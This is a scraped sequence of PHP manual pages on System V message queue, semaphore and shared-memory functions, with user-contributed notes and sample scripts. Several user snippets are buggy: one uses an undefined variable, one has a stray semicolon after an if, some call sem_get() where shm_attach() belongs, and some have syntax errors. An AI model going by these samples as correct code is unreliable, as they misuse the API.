// out work to them

// create the message queue
// pick a file..
  $key_t = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);

    // place two messages on the queue
    if (!msg_send ($key_t, 1, 'This is message #1', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
    if (!msg_send ($key_t, 1, 'This is message #2 ', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";

    // lets look at the queue structure 'msg_qnum' is really what we want to see
    // it should be '2'
    print_r(msg_stat_queue($key_t));

    // pull off the stack
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #1'
        } else {
           echo "Received $msg_error fetching message\n";
        }
    // look at the structure again, ms_qnum should be '1'
    print_r(msg_stat_queue($key_t));
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #2'
        } else {
           echo "Received $msg_error fetching message\n";
        }
   // look at the structure again, ms_qnum should be '0', no more messages on the queue
   print_r(msg_stat_queue($key_t));

   // get rid of the queue we created
   msg_remove_queue ($key_t);
ftok
msg_queue_exists
Semaphore Functions


Check whether a message queue exists

msg_get_queue
msg_receive
Semaphore Functions
PHP Manual

msg_queue_exists

(PHP 5 >= 5.3.0)

msg_queue_exists — Check whether a message queue exists

Description

bool msg_queue_exists ( int $key )

Checks whether the message queue key exists.

Parameters

key

Queue key.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure

User Contributed Notes

michael dot hajuu at gmail dot com 09-Mar-2011 05:01
A simple script for checking what message queues are in use on a [presumably new] server environment.

Run with php-cli

<?php
$k = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
jaredm 10-Dec-2009 04:31
A workaround for those not yet running 5.3 on *nix:

<?php
function queue_exists($key) {
    if(function_exists("msg_queue_exists")) {
        return msg_queue_exists($key);
    } else {
        $aQueues = array();
        exec("ipcs -q | grep \"^[0-9]\" | cut -d \" \" -f 1", $aQueues);
        if(in_array($key,$aQueues)) return true;
        else return false;
    }
}
?>

Maybe a bit slow and kludgey, but it works.
msg_get_queue
msg_receive
Semaphore Functions


Receive a message from a message queue

msg_queue_exists
msg_remove_queue
Semaphore Functions
PHP Manual

msg_receive

(PHP 4 >= 4.3.0, PHP 5)

msg_receive — Receive a message from a message queue

Description

bool msg_receive ( resource $queue , int $desiredmsgtype , int &$msgtype , int $maxsize , mixed &$message [, bool $unserialize = true [, int $flags = 0 [, int &$errorcode ]]] )

msg_receive() will receive the first message from the specified queue of the type specified by desiredmsgtype.

Parameters

queue

desiredmsgtype

If desiredmsgtype is 0, the message from the front of the queue is returned. If desiredmsgtype is greater than 0, then the first message of that type is returned. If desiredmsgtype is less than 0, the first message on the queue with the lowest type less than or equal to the absolute value of desiredmsgtype will be read. If no messages match the criteria, your script will wait until a suitable message arrives on the queue. You can prevent the script from blocking by specifying MSG_IPC_NOWAIT in the flags parameter.

msgtype

The type of the message that was received will be stored in this parameter.

maxsize

The maximum size of message to be accepted is specified by the maxsize; if the message in the queue is larger than this size the function will fail (unless you set flags as described below).

message

The received message will be stored in message, unless there were errors receiving the message.

unserialize

If set to TRUE, the message is treated as though it was serialized using the same mechanism as the session module. The message will be unserialized and then returned to your script. This allows you to easily receive arrays or complex object structures from other PHP scripts, or if you are using the WDDX serializer, from any WDDX compatible source.

If unserialize is FALSE, the message will be returned as a binary-safe string.

flags

The optional flags allows you to pass flags to the low-level msgrcv system call. It defaults to 0, but you may specify one or more of the following values (by adding or ORing them together).

Flag values for msg_receive
MSG_IPC_NOWAIT | If there are no messages of the desiredmsgtype, return immediately and do not wait. The function will fail and return an integer value corresponding to MSG_ENOMSG.
MSG_EXCEPT | Using this flag in combination with a desiredmsgtype greater than 0 will cause the function to receive the first message that is not equal to desiredmsgtype.
MSG_NOERROR | If the message is longer than maxsize, setting this flag will truncate the message to maxsize and will not signal an error.

errorcode

If the function fails, the optional errorcode will be set to the value of the system errno variable.

Return Values

Returns TRUE on success or FALSE on failure.

Upon successful completion the message queue data structure is updated as follows: msg_lrpid is set to the process-ID of the calling process, msg_qnum is decremented by 1 and msg_rtime is set to the current time.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_send() - Send a message to a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

marbledore at mail dot ru 16-Jun-2011 03:38
It looks like msg_receive() allocates a memory with size $maxsize, and only then tries to receive a message from queue into allocated memory. Because my script dies with $maxsize = 1 Gib, but works with $maxsize = 10 Kib.
shepik at yandex dot ru 02-Jul-2009 07:09
The behaviour of msg_recieve function depends on value of $desiredmsgtype:
If zero: the first message with any $msgtype will be recieved.
Positive: the first message with $msgtype = desiredmsgtype
Negative: the first message with $msgtype <= abs ($desiredmsgtype)
(where "$msgtype" means msgtype the message was sent with)
eimers at mehrkanal dot com 19-Mar-2008 08:49
<?php error_reporting(E_ALL);
/**
 * Example for sending and receiving Messages via the System V Message Queue
 *
 * To try this script run it synchron/asynchron twice times. One time with ?typ=send and one time with ?typ=receive
 *
 * @author          Thomas Eimers - Mehrkanal GmbH
 *
 * This document is distributed in the hope that it will be useful, but without any warranty;
 * without even the implied warranty of merchantability or fitness for a particular purpose.
 */

header('Content-Type: text/plain; charset=ISO-8859-1');
echo "Start...\n";

// Create System V Message Queue. Integer value is the number of the Queue
$queue = msg_get_queue(100379);

// Sendoptions
$message='nachricht';     // Transfering Data
$serialize_needed=false;  // Must the transfer data be serialized ?
$block_send=false;        // Block if Message could not be send (Queue full...) (true/false)
$msgtype_send=1;          // Any Integer above 0. It signeds every Message. So you could handle multible message
                          // type in one Queue.

// Receiveoptions
$msgtype_receive=1;       // Whiche type of Message we want to receive ? (Here, the type is the same as the type we send,
                          // but if you set this to 0 you receive the next Message in the Queue with any type.
$maxsize=100;             // How long is the maximal data you like to receive.
$option_receive=MSG_IPC_NOWAIT; // If there are no messages of the wanted type in the Queue continue without wating.
                          // If is set to NULL wait for a Message.

// Send or receive 20 Messages
for ($i=0;$i<20;$i++) {
  sleep(1);
  // This one sends
  if ($_GET['typ']=='send') {
    if(msg_send($queue,$msgtype_send, $message,$serialize_needed, $block_send,$err)===true) {
      echo "Message sendet.\n";
    } else {
      var_dump($err);
    }
  // This one received
  } else {
    $queue_status=msg_stat_queue($queue);
    echo 'Messages in the queue: '.$queue_status['msg_qnum']."\n";

    // WARNUNG: nur weil vor einer Zeile Code noch Nachrichten in der Queue waren, muss das jetzt nciht mehr der Fall sein!
    if ($queue_status['msg_qnum']>0) {
      if (msg_receive($queue,$msgtype_receive ,$msgtype_erhalten,$maxsize,$daten,$serialize_needed, $option_receive, $err)===true) {
              echo "Received data".$daten."\n";
      } else {
              var_dump($err);
      }
    }
  }
}

?>
marvel at post dot cz 26-Jan-2008 03:13
continue from my previous note

Showing messages from queue will flip-flop. It means you run once send.php, the message will be shown in terminal ...

... #1. Second time in terminal #2, third terminal #1 and so on.
marvel at post dot cz 26-Jan-2008 02:27
Consider this e.g. Linux situation:

<?php
//file send.php
$ip = msg_get_queue(12340);
msg_send($ip,8,"abcd",false,false,$err);
//-----------------------------------------------------
<?php
//file receive.php
$ip = msg_get_queue(12340);

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";
?>

Now run:
in terminal #1   php5 receive.php
in terminal #2   php5 receive.php
in terminal #3   php5 send.php

Showing messages from queue will flip-flop. It means you run once send.php, the message will be shown in terminal #1. Second run it will be in t#2, third #1 and so on.
webmaster at toolshed51 dot com 10-Apr-2003 03:56
This is meant to be run as your apache user in a terminal, call script in note of msg_send and they will communicate.

#! /usr/bin/env php
<?php
    $MSGKEY = 519051; // Message

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    while (1) {
        if (msg_receive ($msg_id, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            if ($msg == 'Quit') break;
            echo "$msg\n";
        } else {
            echo "Received $msg_error fetching message\n";
            break;
        }
    }

    msg_remove_queue ($msg_id);
?>
msg_queue_exists
msg_remove_queue
Semaphore Functions


Destroy a message queue

msg_receive
msg_send
Semaphore Functions
PHP Manual

msg_remove_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_remove_queue — Destroy a message queue

Description

bool msg_remove_queue ( resource $queue )

msg_remove_queue() destroys the message queue specified by the queue. Only use this function when all processes have finished working with the message queue and you need to release the system resources held by it.

Parameters

queue

Message queue resource handle

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msg_get_queue() - Create or attach to a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

There are no user contributed notes for this page.
msg_receive
msg_send
Semaphore Functions


Send a message to a message queue

msg_remove_queue
msg_set_queue
Semaphore Functions
PHP Manual

msg_send

(PHP 4 >= 4.3.0, PHP 5)

msg_send — Send a message to a message queue

Description

bool msg_send ( resource $queue , int $msgtype , mixed $message [, bool $serialize = true [, bool $blocking = true [, int &$errorcode ]]] )

msg_send() sends a message of type msgtype (which MUST be greater than 0) to the message queue specified by queue.

Parameters

queue

msgtype

message

serialize

The optional serialize controls how the message is sent. serialize defaults to TRUE which means that the message is serialized using the same mechanism as the session module before being sent to the queue. This allows complex arrays and objects to be sent to other PHP scripts, or if you are using the WDDX serializer, to any WDDX compatible client.

blocking

If the message is too large to fit in the queue, your script will wait until another process reads messages from the queue and frees enough space for your message to be sent. This is called blocking; you can prevent blocking by setting the optional blocking parameter to FALSE, in which case msg_send() will immediately return FALSE if the message is too big for the queue, and set the optional errorcode to MSG_EAGAIN, indicating that you should try to send your message again a little later on.

errorcode

Return Values

Returns TRUE on success or FALSE on failure.

Upon successful completion the message queue data structure is updated as follows: msg_lspid is set to the process-ID of the calling process, msg_qnum is incremented by 1 and msg_stime is set to the current time.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

michael dot NO dot SP dot AM dot cordover+php at gmail dot com 16-Oct-2009 04:10
After about an hour of debugging I've discovered the meaning of the undocumented "PHP Warning: msg_send(): msgsnd failed: Invalid argument" ($errorcode = 13).

This occurred when the size of $message was larger than msg_qbytes (see msg_stat_queue() for how to determine and change msg_qbytes).
shepik at yandex dot ru 02-Jul-2009 07:04
$msgtype used in msg_send function can be any positive integer.
bryan-boone at msn dot com 14-May-2008 03:39
I think it is kinda lame why I cannot find out (easily) explicitly which types of messages are allowed and which ones are not.  Maybe we can start our own little list.  I know that strings work, and arrays do not.
webmaster at toolshed51 dot com 10-Apr-2003 03:51
Sample sending webpage, see msg_receive for matching service

<?php
    $MSGKEY = 519051;

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    if (!msg_send ($msg_id, 1, 'Hi', true, true, $msg_err))
        echo "Msg not sent because $msg_err\n";
?>
msg_remove_queue
msg_set_queue
Semaphore Functions


Set information in the message queue data structure

msg_send
msg_stat_queue
Semaphore Functions
PHP Manual

msg_set_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_set_queue — Set information in the message queue data structure

Description

bool msg_set_queue ( resource $queue , array $data )

msg_set_queue() allows you to change the values of the msg_perm.uid, msg_perm.gid, msg_perm.mode and msg_qbytes fields of the underlying message queue data structure.

Changing the data structure will require that PHP be running as the same user that created the queue, owns the queue (as determined by the existing msg_perm.xxx fields), or be running with root privileges. root privileges are required to raise the msg_qbytes values above the system defined limit.

Parameters

queue

Message queue resource handle

data

You specify the values you require by setting the value of the keys that you require in the data array.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_get_queue() - Create or attach to a message queue

User Contributed Notes

webmaster at toolshed51 dot com 16-May-2003 03:50
Example:
$msg_id = msg_get_queue (12341234, 0600);
msg_set_queue ($msg_id, array ('msg_perm.uid'=>'80'));

List of all possible keys at documentation for msg_stat_queue
msg_send
msg_stat_queue
Semaphore Functions


Returns information from the message queue data structure

msg_set_queue
sem_acquire
Semaphore Functions
PHP Manual

msg_stat_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_stat_queue — Returns information from the message queue data structure

Description

array msg_stat_queue ( resource $queue )

msg_stat_queue() returns the message queue meta data for the message queue specified by the queue. This is useful, for example, to determine which process sent the message that was just received.

Parameters

queue

Message queue resource handle

Return Values

The return value is an array whose keys and values have the following meanings:

Array structure for msg_stat_queue
msg_perm.uid | The uid of the owner of the queue.
msg_perm.gid | The gid of the owner of the queue.
msg_perm.mode | The file access mode of the queue.
msg_stime | The time that the last message was sent to the queue.
msg_rtime | The time that the last message was received from the queue.
msg_ctime | The time that the queue was last changed.
msg_qnum | The number of messages waiting to be read from the queue.
msg_qbytes | The maximum number of bytes allowed in one message queue. On Linux, this value may be read and modified via /proc/sys/kernel/msgmnb.
msg_lspid | The pid of the process that sent the last message to the queue.
msg_lrpid | The pid of the process that received the last message from the queue.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_get_queue() - Create or attach to a message queue
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

There are no user contributed notes for this page.
msg_set_queue
sem_acquire
Semaphore Functions


Acquire a semaphore

msg_stat_queue
sem_get
Semaphore Functions
PHP Manual

sem_acquire

(PHP 4, PHP 5)

sem_acquire — Acquire a semaphore

Description

bool sem_acquire ( resource $sem_identifier )

sem_acquire() blocks (if necessary) until the semaphore can be acquired. A process attempting to acquire a semaphore which it has already acquired will block forever if acquiring the semaphore would cause its maximum number of semaphore to be exceeded.

After processing a request, any semaphores acquired by the process but not explicitly released will be released automatically and a warning will be generated.

Parameters

sem_identifier

sem_identifier is a semaphore resource, obtained from sem_get().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sem_get() - Get a semaphore id
  • sem_release() - Release a semaphore

User Contributed Notes

gladd at trash dot eris dot qinetiq dot com 13-Apr-2004 02:02
Just to clarify what is meant by "process" above:

On the Apache webserver, many PHP requests will be executed within the same process space because it is multithreaded. However, any semaphores got and acquired by a script and not released and removed will still be automatically cleaned up by the PHP interpreter each time the script terminates.

Remove any trash before emailing!
msg_stat_queue
sem_get
Semaphore Functions


Get a semaphore id

sem_acquire
sem_release
Semaphore Functions
PHP Manual

sem_get

(PHP 4, PHP 5)

sem_get — Get a semaphore id

Description

resource sem_get ( int $key [, int $max_acquire = 1 [, int $perm = 0666 [, int $auto_release = 1 ]]] )

sem_get() returns an id that can be used to access the System V semaphore with the given key.

A second call to sem_get() for the same key will return a different semaphore identifier, but both identifiers access the same underlying semaphore.

Parameters

key

max_acquire

The number of processes that can acquire the semaphore simultaneously is set to max_acquire.

perm

The semaphore permissions. Actually this value is set only if the process finds it is the only process currently attached to the semaphore.

auto_release

Specifies if the semaphore should be automatically released on request shutdown.

Return Values

Returns a positive semaphore identifier on success, or FALSE on error.

Changelog

Version | Description
4.3.0 | The auto_release parameter was added.

See Also

  • sem_acquire() - Acquire a semaphore
  • sem_release() - Release a semaphore
  • ftok() - Convert a pathname and a project identifier to a System V IPC key

User Contributed Notes

Michael Z. 25-Aug-2011 06:37
Watch out when you use fileinode() to get a unique semaphore key (as suggested in some comment on this or a related function) in conjunction with version control software: It seems, for example, SVN will change the inode. Using such a file will leave you with your mutex not working reliably and your system's semaphore pool being filled until further attempts to get a semaphore will fail. Use ipcs and ipcrm commands from linux-util-ng (on most distros probably) to examine/fix related problems.
soger 28-Mar-2011 08:20
Actually it looks like the semaphore is automatically released not on request shutdown but when the variable you store it's resource ID is freed. That is a very big difference.
pail dot luo at gmail dot com 26-Feb-2009 06:40
A very simple to introduce semaphore...

<?php
$SEMKey = "123456" ;

## Get Semaphore id
$seg = sem_get( $SEMKey, 2, 0666, -1) ;

if ( $argv[1]=="remove" ) {
    sem_remove($seg);
}

echo "Try to acquire ..."
sem_acquire($seg);
echo "Acquired...\n" ;

echo "Press Any Key to continue...\n";
$fh = fopen("php://stdin", "r");
$a = fgets( $fh);
fclose($fh);

sem_release($seg);
?>
cyrus dot drive at gmail dot com 01-May-2008 05:51
Implementation of a read-write semaphore in PHP:

<?php
class rw_semaphore {

    const READ_ACCESS = 0;
    const WRITE_ACCESS = 1;

    /**
     * @access private
     * @var resource - mutex semaphore
     */
    private $mutex;

    /**
     * @access private
     * @var resource - read/write semaphore
     */
    private $resource;

    /**
     * @access private
     * @var int
     */
    private $writers = 0;

    /**
     * @access private
     * @var int
     */
    private $readers = 0;

    /**
     * Default constructor
     *
     * Initialize the read/write semaphore
     */
    public function __construct() {
        $mutex_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'm');
        $resource_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'r');
        $this->mutex = sem_get($mutex_key, 1);
        $this->resource = sem_get($resource_key, 1);
    }

    /**
     * Destructor
     *
     * Remove the read/write semaphore
     */
    public function __destruct() {
        sem_remove($this->mutex);
        sem_remove($this->resource);
    }

    /**
     * Request acess to the resource
     *
     * @param int $mode
     * @return void
     */
    private function request_access($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers++;

            sem_release($this->mutex);
            sem_acquire($this->resource);
        } else {
            sem_acquire($this->mutex);
            if ($this->writers > 0 || $this->readers == 0) {
                sem_release($this->mutex);
                sem_acquire($this->resource);
                sem_acquire($this->mutex);
            }
            /* update the readers counter */
            $this->readers++;

            sem_release($this->mutex);
        }
    }

    private function request_release($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers--;

            sem_release($this->mutex);
            sem_release($this->resource);
        } else {
            sem_acquire($this->mutex);

            /* update the readers counter */
            $this->readers--;

            if ($this->readers == 0)
                sem_release($this->resource);

            sem_release($this->mutex);
        }
    }

    /**
     * Request read access to the resource
     *
     * @return void
     */
    public function read_access() { $this->request_access(self::READ_ACCESS); }

    /**
     * Release read access to the resource
     *
     * @return void
     */
    public function read_release() { $this->request_release(self::READ_ACCESS); }

    /**
     * Request write access to the resource
     *
     * @return void
     */
    public function write_access() { $this->request_access(self::WRITE_ACCESS); }

    /**
     * Release write access to the resource
     *
     * @return void
     */
    public function write_release() { $this->request_release(self::WRITE_ACCESS); }

}
?>
quickshiftin at gmail dot com 30-Jul-2007 08:55
in regards to the last post, it looks like there is a mistake.
well, understandably, the documentation isnt quite clear on a point the post uses to rationalize its claim, allow me to explain.
the purpose of a semaphore is to manage access to a shared resource, so natrually it follows that if multiple attempts to access the same semaphore arent blocking (when expected to), then the api simply isnt being used properly.

the problem is that the documentation does not stipulate what will happen if the max_acquire paramter is varied upon successive invocations of the sem_get method.  so setting it to 100, then to 1 on 2 successive calls will have an undefined behavior.  if the value is kept constant however (and set to 1 for the example), you will find, as i did that the second attempt to acquire the semaphore will block.  NOTE: this does not work when using
php -a

here is the revised sample code:
<?php
$fp1 = sem_get(fileinode('commonResource'), 1);

sem_acquire($fp1);
echo 'got mutex' . PHP_EOL;

$fp2 = sem_get(fileinode('commonResource'), 1);
sem_acquire($fp2);
echo 'got mutex again' . PHP_EOL;
?>

note there are 2 references; $fp1 and $fp2 and you will not see the second message because the script will block forever.
ein at anti-logic dot com 26-Jun-2007 04:21
Be aware that there is no way to ensure that you have exclusive access to a lock, despite setting max_acquire=1.

In example,
<?
$fp = sem_get(fileinode('lock_file', 100);
sem_acquire($fp);

$fp2 = sem_get(fileinode('lock_file', 1);
sem_acquire($fp2);
?>

This will not block on the second sem_aquire.  Therefore, if you have functions or processes that utilize shared locks (>1 max_acquire) you will still need to provide a seperate lock mechanism (ie flock) for write access, making the sem_ functions useless.

Some more info, in flock, each reference to the lock file has it's own options (can be shared exclusive blocking non blocking etc), but apparently php's sem functions only support these options per semaphore, not per semaphore-reference.
neofutur 28-Aug-2006 12:49
with gentoo php5 you will need to add the USE flag :
sysvipc

see :
 http://forums.gentoo.org/viewtopic-t-464175-highlight-semget+php.html

and also :
 http://overlays.gentoo.org/proj/php/
joeldg AT listbid.com 02-May-2003 11:39
Heh, actually the above comment I added is not technically correct, it was more of an idea to display the function.

$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);
// we now have our shm segment

// lets place a variable in there
shm_put_var ($data, $inmem, "test");
// now lets get it back. we could be in a forked process and still have
// access to this variable.
printf("shared contents: %s\n", shm_get_var($data, $inmem));

shm_detach($data);
joeldg at listbid.com 02-May-2003 12:36
<?
// thanks to
// http://www.ecst.csuchico.edu/~beej/guide/ipc/shmem.html
$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);

$data = "test";
printf("shared contents: %s\n", $data);

shm_detach($data);
?>
sem_acquire
sem_release
Semaphore Functions


Release a semaphore

sem_get
sem_remove
Semaphore Functions
PHP Manual

sem_release

(PHP 4, PHP 5)

sem_release — Release a semaphore

Description

bool sem_release ( resource $sem_identifier )

sem_release() releases the semaphore if it is currently acquired by the calling process, otherwise a warning is generated.

After releasing the semaphore, sem_acquire() may be called to re-acquire it.

Parameters

sem_identifier

A Semaphore resource handle as returned by sem_get().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sem_get() - Get a semaphore id
  • sem_acquire() - Acquire a semaphore

User Contributed Notes

danno at circumsolutions dot com 01-Apr-2001 02:44
If you want to implement this sort of semaphore access (which is usually what is needed if doing ipc) one thing you can do is create shared memory which is simply an int. Use this int between processes as the value of the semaphore.  You can write wrapper functions which use this to allow you to do the desired readers-writers stuff or just use the shared memory plain.  I wouldn't be too worried about race conditions in this case as the shared memory is only an int.  If you are worried about race conditions, the wrapper functions for doing the semaphore stuff could actually use a semaphore to elimate any race conditions.  Also, an added bonus of doing it this way is you can check the value of the int.
apua at communiplex dot com 08-Dec-1999 08:54
The fact that sem_release only resease the semaphore if it is currently acquired by the calling process is, in fact, a misfeature since sometimes (eg in a readers-writers implementation) it is desirable to release a semaphore acquired by another process. In C you can do that.
I'm telling this because I was trying to write a chat app in php3 made of two programs: a listener and a speaker. The speaker releases a semaphore to inform that there is a new message in a shared memory var. And listeners wait in that semaphore before outputting the message.
sem_get
sem_remove
Semaphore Functions


Remove a semaphore

sem_release
shm_attach
Semaphore Functions
PHP Manual

sem_remove

(PHP 4 >= 4.1.0, PHP 5)

sem_remove — Remove a semaphore

Description

bool sem_remove ( resource $sem_identifier )

sem_remove() removes the given semaphore.

After removing the semaphore, it is no longer accessible.

Parameters

sem_identifier

A semaphore resource identifier as returned by sem_get().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sem_get() - Get a semaphore id
  • sem_release() - Release a semaphore
  • sem_acquire() - Acquire a semaphore

User Contributed Notes

There are no user contributed notes for this page.
sem_release
shm_attach
Semaphore Functions


Creates or open a shared memory segment

sem_remove
shm_detach
Semaphore Functions
PHP Manual

shm_attach

(PHP 4, PHP 5)

shm_attach — Creates or open a shared memory segment

Description

resource shm_attach ( int $key [, int $memsize [, int $perm = 0666 ]] )

shm_attach() returns an id that can be used to access the System V shared memory with the given key, the first call creates the shared memory segment with memsize and the optional perm-bits perm.

A second call to shm_attach() for the same key will return a different shared memory identifier, but both identifiers access the same underlying shared memory. memsize and perm will be ignored.

Parameters

key

A numeric shared memory segment ID

memsize

The memory size. If not provided, default to the sysvshm.init_mem in the php.ini, otherwise 10000 bytes.

perm

The optional permission bits. Default to 0666.

Return Values

Returns a shared memory segment identifier.

Changelog

Version | Description
5.3.0 | This function now returns a resource instead of an integer.

Notes

Note:

This function used to return an integer value prior to PHP 5.3.0. To achieve the same value in a portable manner, the return value can be cast to an integer like:

<?php
// Create a temporary file and return its path
$tmp = tempnam('/tmp', 'PHP');

// Get the file token key
$key = ftok($tmp, 'a');

// Attach the SHM resource, notice the cast afterwards
$id = shm_attach($key);

if ($id === false) {
    die('Unable to create the shared memory segment');
}

// Cast to integer, since prior to PHP 5.3.0 the resource id
// is returned which can be exposed when casting a resource
// to an integer
$id = (integer) $id;
?>

See Also

  • shm_detach() - Disconnects from shared memory segment
  • ftok() - Convert a pathname and a project identifier to a System V IPC key

User Contributed Notes

info at tristat dot org 15-Oct-2011 05:07
You might expect the SHM functions to be significantly faster than building variables from MySQL operations. Unfortunately this is not the case regarding large multidimensional arrays. I've tested write, read, update and delete operations with with a two dimensional associative array directly with SHM and in comparison with a class using MySQL and a class using SHMOP functions (with mostly offset-accurate serialization). Both classes generated the same array as stored with SHM. Unlike SHMOP the performance of SHM decreases considerably with larger arrays. At 2000 instructions with an $array[$row][$key] of 200 rows and 5 keys even MySql is faster than SHM.This might be due to the fact, that SHM deals with any kind of arrays and makes internal use the PHPs powerful serialize() function.
nathanbruer at gmail dot com 05-Apr-2011 01:21
I was playing around with these functions and made a class in the process. This will of course be slower than accessing a variable locally, but gives the ability to store variables in a shared environment and gives many running scripts the understanding that it should access them from the shared area. This should also auto destroy the shared memory area once no more scripts have a link to the data (when all scripts use this class).

<?php
class SharedMemory{
    private $nameToKey = array();
    private $key;
    private $id;
    function __construct($key = null){
        if($key === null){
            $tmp = tempnam('/tmp', 'PHP');
            $this->key = ftok($tmp, 'a');
            $this->id = shm_attach($this->key);
            $this->nameToKey[] = '';
            $this->nameToKey[] = '';
            $this->updateMemoryVarList();
            shm_put_var($this->id, 1, 1);
        }else{
            $this->key = $key;
            $this->id = sem_get($this->key);
            $this->refreshMemoryVarList();
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
        }
        if(!$this->id)
            die('Unable to create shared memory segment');
    }
    function __sleep(){
        shm_detach($this->id);
    }
    function __destruct(){
        if(shm_get_var($this->id, 1) == 1){
            // I am the last listener so kill shared memory space
            $this->remove();
        }else{
            shm_detach($this->id);
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) - 1);
        }
    }
    function __wakeup(){
        $this->id = sem_get($this->key);
        shm_attach($this->id);
        $this->refreshMemoryVarList();
        shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
    }
    function getKey(){
        return $this->key;
    }
    function remove(){
        shm_remove($this->id);
    }
    function refreshMemoryVarList(){
        $this->nameToKey = shm_get_var($this->id, 0);
    }
    function updateMemoryVarList(){
        shm_put_var($this->id, 0, $this->nameToKey);
    }
    function __get($var){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
        }
        return shm_get_var($this->id, array_search($var, $this->nameToKey));
    }
    function __set($var, $val){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
            $this->nameToKey[] = $var;
            $this->updateMemoryVarList();
        }
        shm_put_var($this->id, array_search($var, $this->nameToKey), $val);
    }
}

// Example
$sharedMem = new SharedMemory();
$pid = pcntl_fork();
if($pid){
    //parent
    sleep(1);
    echo "Parent Says: " . $sharedMem->a . "\n";
    echo "Parent Changed to 0\n";
    $sharedMem->a = 0;
    //Parent just changed it to 0
    echo "Parent Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Parent think's it's 0, but child has changed it to 1
    echo "Parent Says: " . $sharedMem->a . "\n";
}else{
    //child
    $sharedMem->a = 2;
    echo "Child Changed to 2\n";
    // Should be 2 as child just set it to 2
    echo "Child Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Child think's it's 2, but the parent set it to 0.
    echo "Child Says: " . $sharedMem->a . "\n";
    echo "Child Added 1\n";
    $sharedMem->a++;
    echo "Child Says: " . $sharedMem->a . "\n";
}
?>
somepay at gmail dot com 05-Aug-2010 03:07
In my log I have found string
"shm_attach(): failed for key 0x366f: No space left on device"
But have not found any suggestion for this at php.net and at google.

So question was how to make free memory used by shm_attach .
At first to view (Linux)  how many segments allocated, use
:~# ipcs -mu
then
limits
:~# ipcs -ml

to remove segment use:
:~# ipcrm -m [shmid]

otherwise you can reboot server, or launch sh script based on commands above.

To avoid troubles with "No space left on device" ALWAYS use
shm_remove() & shm_detach() after call shm_attach().
pail dot luo at gmail dot com 26-Feb-2009 06:43
A simple Sample to introduce SHM.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] send|recv|rem|dele ID [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] recv 1 \n" ;
        echo "       $argv[0] rem 1 \n" ;
        echo "       $argv[0] dele \n" ;
        exit;
}

// $SHMKey = ftok(__FILE__, "Z");
$SHMKey = "123456" ;

## Create/Open a shm
$seg = shm_attach( $SHMKey, 1024, 0666 ) ;

switch ( $argv[1] ) {
    case "send":
        shm_put_var($seg, $argv[2], $argv[3]);
        echo "send msg done...\n" ;
        break;

    case "recv":
        $data = shm_get_var($seg, $argv[2]);
        echo $data . "\n" ;
        break;

    case "rem":
        shm_remove_var($seg, $argv[2]);
        break;

    case "dele":
        shm_remove($seg);
        break;

    case "dele2":
        `/usr/bin/ipcrm -M 123456`;
        break;
}
?>
nkatz at yahooo dot com 18-Sep-2008 05:31
